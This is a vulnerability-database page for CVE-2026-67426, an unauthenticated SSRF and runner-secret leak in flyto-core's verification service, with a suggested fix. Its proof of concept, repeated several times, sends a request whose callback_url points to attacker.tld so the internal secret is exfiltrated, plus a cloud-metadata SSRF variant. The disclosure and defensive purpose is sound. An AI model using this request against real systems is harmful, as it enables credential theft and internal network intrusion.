Vulnerability-Lookup

PYSEC-2026-3571

Vulnerability from pysec - Published: 2026-08-04 11:34 - Updated: 2026-08-04 13:36

Details

Summary

The standalone flyto-verification service exposes POST /run with no authentication, on all interfaces (0.0.0.0:8344 per the shipped Dockerfile). The request body's callback_url is used verbatim for an outbound POST that unconditionally attaches X-Internal-Key: $FLYTO_RUNNER_SECRET. The callback_url bypasses the service's target_allowed allowlist (which only inspects params.target_url) and is never passed through any SSRF guard. This yields (a) unauthenticated SSRF to internal/metadata endpoints with an attacker-controlled JSON body, and (b) exfiltration of the internal runner secret to an attacker-controlled host — allowing forged authenticated callbacks to the real engine.

Root Cause

src/core/verification_service.py:363-364 — /run has no Depends/auth dependency.
resolve_callback_url returns the client callback_url verbatim (:315-316).
post_callback attaches X-Internal-Key: $FLYTO_RUNNER_SECRET whenever the env var is set (:327-335).
target_allowed only gates params.target_url (:259), never callback_url. No validate_url_* anywhere in the file.
Dockerfile.verification CMD = main('0.0.0.0', 8344); entrypoint flyto-verification in pyproject.toml:107 → the shipped image binds all interfaces by default.

Impact

Unauthenticated (PR:N) readable SSRF to internal/cloud-metadata with a controlled body (C:H, S:C), plus theft of FLYTO_RUNNER_SECRET to an attacker host → the attacker can then authenticate to the real engine callback endpoint (credential compromise, CWE-522).

Proof of Concept

Code-proven this session (all lines confirmed on v2.26.6):

POST http://<verification-host>:8344/run
{"workflowYaml":"...","params":{...},"callback_url":"http://attacker.tld/collect"}
# -> service POSTs to attacker.tld with header X-Internal-Key: <FLYTO_RUNNER_SECRET>
# Or callback_url=http://<cloud-metadata-ip>/... for internal SSRF with a controlled body.

Attack Chain

Entry: unauthenticated POST http://<host>:8344/run with callback_url:"http://attacker.tld/collect". Guard: auth on /run. Bypass proof: no Depends(require_auth) (verification_service.py:363-364); Dockerfile binds all interfaces on port 8344.
Check: target_allowed scope (:259). Bypass proof: only inspects params.target_url; callback_url is never passed through extract_host/target_allowed.
Check: SSRF validation on callback_url. Bypass proof: file has ZERO validate_url references.
Sink: post_callback → session.post(callback_url, json=payload, headers={"X-Internal-Key": FLYTO_RUNNER_SECRET}) (:330-335); header attached unconditionally when the env var is set (:327-329).
Impact: (a) SSRF to the cloud metadata IP / internal with a controlled JSON body; (b) exfiltration of FLYTO_RUNNER_SECRET → replay to authenticate to the real engine callback endpoint.

Bypass Evidence

/run has no auth dependency (grep-confirmed); resolve_callback_url returns the client value verbatim; X-Internal-Key attached unconditionally; target_allowed gates only params.target_url; no validate_url_* in the file; shipped Dockerfile binds all interfaces.

Affected Versions

<= 2.26.6 — verification_service.py, pyproject.toml:107 entrypoint, and Dockerfile.verification present on latest release tag.

Suggested Fix

Add authentication to /run; run callback_url through the SSRF guard + host allowlist before attaching any internal header; do not attach X-Internal-Key to non-allowlisted destinations; bind the service to loopback by default.

Credit

Vulnerability discovered by zx (Jace).

Severity

9.3 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

Impacted products

Name	purl
flyto-core	pkg:pypi/flyto-core

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "flyto-core",
        "purl": "pkg:pypi/flyto-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.26.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.0.0",
        "1.0.1",
        "1.0.2",
        "1.0.3",
        "1.0.4",
        "1.0.5",
        "1.0.6",
        "1.0.7",
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        "1.1.1",
        "1.11.0",
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  ],
  "aliases": [
    "CVE-2026-67426",
    "GHSA-jx74-cqjv-2c67"
  ],
  "details": "## Summary\nThe standalone `flyto-verification` service exposes `POST /run` with **no authentication**, on all interfaces (0.0.0.0:8344 per the shipped Dockerfile). The request body\u0027s `callback_url` is used verbatim for an outbound POST that **unconditionally attaches `X-Internal-Key: $FLYTO_RUNNER_SECRET`**. The `callback_url` bypasses the service\u0027s `target_allowed` allowlist (which only inspects `params.target_url`) and is never passed through any SSRF guard. This yields (a) unauthenticated SSRF to internal/metadata endpoints with an attacker-controlled JSON body, and (b) exfiltration of the internal runner secret to an attacker-controlled host \u2014 allowing forged authenticated callbacks to the real engine.\n\n## Root Cause\n- `src/core/verification_service.py:363-364` \u2014 `/run` has no `Depends`/auth dependency.\n- `resolve_callback_url` returns the client `callback_url` verbatim (`:315-316`).\n- `post_callback` attaches `X-Internal-Key: $FLYTO_RUNNER_SECRET` whenever the env var is set (`:327-335`).\n- `target_allowed` only gates `params.target_url` (`:259`), never `callback_url`. No `validate_url_*` anywhere in the file.\n- `Dockerfile.verification` CMD = `main(\u00270.0.0.0\u0027, 8344)`; entrypoint `flyto-verification` in `pyproject.toml:107` \u2192 the shipped image binds all interfaces by default.\n\n## Impact\nUnauthenticated (PR:N) readable SSRF to internal/cloud-metadata with a controlled body (C:H, S:C), plus theft of `FLYTO_RUNNER_SECRET` to an attacker host \u2192 the attacker can then authenticate to the real engine callback endpoint (credential compromise, CWE-522).\n\n## Proof of Concept\nCode-proven this session (all lines confirmed on v2.26.6):\n```\nPOST http://\u003cverification-host\u003e:8344/run\n{\"workflowYaml\":\"...\",\"params\":{...},\"callback_url\":\"http://attacker.tld/collect\"}\n# -\u003e service POSTs to attacker.tld with header X-Internal-Key: \u003cFLYTO_RUNNER_SECRET\u003e\n# Or callback_url=http://\u003ccloud-metadata-ip\u003e/... for internal SSRF with a controlled body.\n```\n\n## Attack Chain\n1. Entry: unauthenticated `POST http://\u003chost\u003e:8344/run` with `callback_url:\"http://attacker.tld/collect\"`. Guard: auth on `/run`. Bypass proof: no `Depends(require_auth)` (verification_service.py:363-364); Dockerfile binds all interfaces on port 8344.\n2. Check: `target_allowed` scope (:259). Bypass proof: only inspects `params.target_url`; `callback_url` is never passed through `extract_host`/`target_allowed`.\n3. Check: SSRF validation on `callback_url`. Bypass proof: file has ZERO `validate_url` references.\n4. Sink: `post_callback` \u2192 `session.post(callback_url, json=payload, headers={\"X-Internal-Key\": FLYTO_RUNNER_SECRET})` (:330-335); header attached unconditionally when the env var is set (:327-329).\n5. Impact: (a) SSRF to the cloud metadata IP / internal with a controlled JSON body; (b) exfiltration of FLYTO_RUNNER_SECRET \u2192 replay to authenticate to the real engine callback endpoint.\n\n## Bypass Evidence\n`/run` has no auth dependency (grep-confirmed); `resolve_callback_url` returns the client value verbatim; `X-Internal-Key` attached unconditionally; `target_allowed` gates only `params.target_url`; no `validate_url_*` in the file; shipped Dockerfile binds all interfaces.\n\n## Affected Versions\n`\u003c= 2.26.6` \u2014 `verification_service.py`, `pyproject.toml:107` entrypoint, and `Dockerfile.verification` present on latest release tag.\n\n## Suggested Fix\nAdd authentication to `/run`; run `callback_url` through the SSRF guard + host allowlist before attaching any internal header; do not attach `X-Internal-Key` to non-allowlisted destinations; bind the service to loopback by default.\n\n## Credit\n\nVulnerability discovered by zx (Jace).",
  "id": "PYSEC-2026-3571",
  "modified": "2026-08-04T13:36:18.651686Z",
  "published": "2026-08-04T11:34:45.572992Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/security/advisories/GHSA-jx74-cqjv-2c67"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67426"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/commit/0a0a528520ec18f5a21f1ddf858a71cc1edfb6e9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/flytohub/flyto-core"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/releases/tag/v2.26.7"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/flyto-core"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-jx74-cqjv-2c67"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flyto2 Core: Unauthenticated flyto-verification /run: callback_url SSRF and internal runner-secret exfiltration"
}

CVE-2026-67426 (GCVE-0-2026-67426)

Vulnerability from cvelistv5 – Published: 2026-07-29 18:43 – Updated: 2026-07-29 19:05

Title

Flyto2 Core: Unauthenticated flyto-verification /run: callback_url SSRF and internal runner-secret exfiltration

Summary

Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.7, the standalone flyto-verification service in src/core/verification_service.py exposes unauthenticated POST /run on 0.0.0.0:8344 and uses client-supplied callback_url for an outbound POST with X-Internal-Key: $FLYTO_RUNNER_SECRET while bypassing target_allowed, allowing unauthenticated SSRF and runner secret exfiltration. This issue is fixed in version 2.26.7.

Severity

9.3 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-29 19:04 UTC

CWE

CWE-306 - Missing Authentication for Critical Function
CWE-522 - Insufficiently Protected Credentials
CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7820 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/flytohub/flyto-core/security/a…	x_refsource_CONFIRM
https://github.com/flytohub/flyto-core/commit/0a0…	x_refsource_MISC
https://github.com/flytohub/flyto-core/releases/t…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
flytohub	flyto-core	Affected: < 2.26.7

Show details on NVD website

JSON

To clipboard

{
  "containers": {
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      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-67426",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-29T19:04:58.621879Z",
                "version": "2.0.3"
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          }
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        "providerMetadata": {
          "dateUpdated": "2026-07-29T19:05:05.601Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
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        "references": [
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            "tags": [
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            "url": "https://github.com/flytohub/flyto-core/security/advisories/GHSA-jx74-cqjv-2c67"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "flyto-core",
          "vendor": "flytohub",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.26.7"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.7, the standalone flyto-verification service in src/core/verification_service.py exposes unauthenticated POST /run on 0.0.0.0:8344 and uses client-supplied callback_url for an outbound POST with X-Internal-Key: $FLYTO_RUNNER_SECRET while bypassing target_allowed, allowing unauthenticated SSRF and runner secret exfiltration. This issue is fixed in version 2.26.7."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 9.3,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "NONE",
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            "version": "3.1"
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              "cweId": "CWE-306",
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              "lang": "en",
              "type": "CWE"
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        {
          "descriptions": [
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              "description": "CWE-522: Insufficiently Protected Credentials",
              "lang": "en",
              "type": "CWE"
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        "advisory": "GHSA-jx74-cqjv-2c67",
        "discovery": "UNKNOWN"
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      "title": "Flyto2 Core: Unauthenticated flyto-verification /run: callback_url SSRF and internal runner-secret exfiltration"
    }
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  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-67426",
    "datePublished": "2026-07-29T18:43:26.247Z",
    "dateReserved": "2026-07-29T15:02:20.413Z",
    "dateUpdated": "2026-07-29T19:05:05.601Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GHSA-JX74-CQJV-2C67

Vulnerability from github – Published: 2026-07-30 14:47 – Updated: 2026-08-10 14:59

Summary

Flyto2 Core: Unauthenticated flyto-verification /run: callback_url SSRF and internal runner-secret exfiltration

Details

Summary

Root Cause

src/core/verification_service.py:363-364 — /run has no Depends/auth dependency.
resolve_callback_url returns the client callback_url verbatim (:315-316).
post_callback attaches X-Internal-Key: $FLYTO_RUNNER_SECRET whenever the env var is set (:327-335).
target_allowed only gates params.target_url (:259), never callback_url. No validate_url_* anywhere in the file.
Dockerfile.verification CMD = main('0.0.0.0', 8344); entrypoint flyto-verification in pyproject.toml:107 → the shipped image binds all interfaces by default.

Impact

Proof of Concept

Code-proven this session (all lines confirmed on v2.26.6):

POST http://<verification-host>:8344/run
{"workflowYaml":"...","params":{...},"callback_url":"http://attacker.tld/collect"}
# -> service POSTs to attacker.tld with header X-Internal-Key: <FLYTO_RUNNER_SECRET>
# Or callback_url=http://<cloud-metadata-ip>/... for internal SSRF with a controlled body.

Attack Chain

Entry: unauthenticated POST http://<host>:8344/run with callback_url:"http://attacker.tld/collect". Guard: auth on /run. Bypass proof: no Depends(require_auth) (verification_service.py:363-364); Dockerfile binds all interfaces on port 8344.
Check: target_allowed scope (:259). Bypass proof: only inspects params.target_url; callback_url is never passed through extract_host/target_allowed.
Check: SSRF validation on callback_url. Bypass proof: file has ZERO validate_url references.
Sink: post_callback → session.post(callback_url, json=payload, headers={"X-Internal-Key": FLYTO_RUNNER_SECRET}) (:330-335); header attached unconditionally when the env var is set (:327-329).
Impact: (a) SSRF to the cloud metadata IP / internal with a controlled JSON body; (b) exfiltration of FLYTO_RUNNER_SECRET → replay to authenticate to the real engine callback endpoint.

Bypass Evidence

Affected Versions

<= 2.26.6 — verification_service.py, pyproject.toml:107 entrypoint, and Dockerfile.verification present on latest release tag.

Suggested Fix

Credit

Vulnerability discovered by zx (Jace).

Severity

9.3 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "flyto-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.26.6"
            },
            {
              "fixed": "2.26.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-67426"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-522",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-30T14:47:41Z",
    "nvd_published_at": "2026-07-29T19:16:51Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\nThe standalone `flyto-verification` service exposes `POST /run` with **no authentication**, on all interfaces (0.0.0.0:8344 per the shipped Dockerfile). The request body\u0027s `callback_url` is used verbatim for an outbound POST that **unconditionally attaches `X-Internal-Key: $FLYTO_RUNNER_SECRET`**. The `callback_url` bypasses the service\u0027s `target_allowed` allowlist (which only inspects `params.target_url`) and is never passed through any SSRF guard. This yields (a) unauthenticated SSRF to internal/metadata endpoints with an attacker-controlled JSON body, and (b) exfiltration of the internal runner secret to an attacker-controlled host \u2014 allowing forged authenticated callbacks to the real engine.\n\n## Root Cause\n- `src/core/verification_service.py:363-364` \u2014 `/run` has no `Depends`/auth dependency.\n- `resolve_callback_url` returns the client `callback_url` verbatim (`:315-316`).\n- `post_callback` attaches `X-Internal-Key: $FLYTO_RUNNER_SECRET` whenever the env var is set (`:327-335`).\n- `target_allowed` only gates `params.target_url` (`:259`), never `callback_url`. No `validate_url_*` anywhere in the file.\n- `Dockerfile.verification` CMD = `main(\u00270.0.0.0\u0027, 8344)`; entrypoint `flyto-verification` in `pyproject.toml:107` \u2192 the shipped image binds all interfaces by default.\n\n## Impact\nUnauthenticated (PR:N) readable SSRF to internal/cloud-metadata with a controlled body (C:H, S:C), plus theft of `FLYTO_RUNNER_SECRET` to an attacker host \u2192 the attacker can then authenticate to the real engine callback endpoint (credential compromise, CWE-522).\n\n## Proof of Concept\nCode-proven this session (all lines confirmed on v2.26.6):\n```\nPOST http://\u003cverification-host\u003e:8344/run\n{\"workflowYaml\":\"...\",\"params\":{...},\"callback_url\":\"http://attacker.tld/collect\"}\n# -\u003e service POSTs to attacker.tld with header X-Internal-Key: \u003cFLYTO_RUNNER_SECRET\u003e\n# Or callback_url=http://\u003ccloud-metadata-ip\u003e/... for internal SSRF with a controlled body.\n```\n\n## Attack Chain\n1. Entry: unauthenticated `POST http://\u003chost\u003e:8344/run` with `callback_url:\"http://attacker.tld/collect\"`. Guard: auth on `/run`. Bypass proof: no `Depends(require_auth)` (verification_service.py:363-364); Dockerfile binds all interfaces on port 8344.\n2. Check: `target_allowed` scope (:259). Bypass proof: only inspects `params.target_url`; `callback_url` is never passed through `extract_host`/`target_allowed`.\n3. Check: SSRF validation on `callback_url`. Bypass proof: file has ZERO `validate_url` references.\n4. Sink: `post_callback` \u2192 `session.post(callback_url, json=payload, headers={\"X-Internal-Key\": FLYTO_RUNNER_SECRET})` (:330-335); header attached unconditionally when the env var is set (:327-329).\n5. Impact: (a) SSRF to the cloud metadata IP / internal with a controlled JSON body; (b) exfiltration of FLYTO_RUNNER_SECRET \u2192 replay to authenticate to the real engine callback endpoint.\n\n## Bypass Evidence\n`/run` has no auth dependency (grep-confirmed); `resolve_callback_url` returns the client value verbatim; `X-Internal-Key` attached unconditionally; `target_allowed` gates only `params.target_url`; no `validate_url_*` in the file; shipped Dockerfile binds all interfaces.\n\n## Affected Versions\n`\u003c= 2.26.6` \u2014 `verification_service.py`, `pyproject.toml:107` entrypoint, and `Dockerfile.verification` present on latest release tag.\n\n## Suggested Fix\nAdd authentication to `/run`; run `callback_url` through the SSRF guard + host allowlist before attaching any internal header; do not attach `X-Internal-Key` to non-allowlisted destinations; bind the service to loopback by default.\n\n## Credit\n\nVulnerability discovered by zx (Jace).",
  "id": "GHSA-jx74-cqjv-2c67",
  "modified": "2026-08-10T14:59:58Z",
  "published": "2026-07-30T14:47:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/security/advisories/GHSA-jx74-cqjv-2c67"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67426"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/commit/0a0a528520ec18f5a21f1ddf858a71cc1edfb6e9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/flytohub/flyto-core"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/releases/tag/v2.26.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/flyto-core/PYSEC-2026-3571.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flyto2 Core: Unauthenticated flyto-verification /run: callback_url SSRF and internal runner-secret exfiltration"
}

Sightings

Author	Source	Type	Date	Other

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Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
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Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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Action not permitted

PYSEC-2026-3571

Summary

Root Cause

Impact

Proof of Concept

Attack Chain

Bypass Evidence

Affected Versions

Suggested Fix

Credit

CVE-2026-67426 (GCVE-0-2026-67426)

GHSA-JX74-CQJV-2C67

Summary

Root Cause

Impact

Proof of Concept

Attack Chain

Bypass Evidence

Affected Versions

Suggested Fix

Credit

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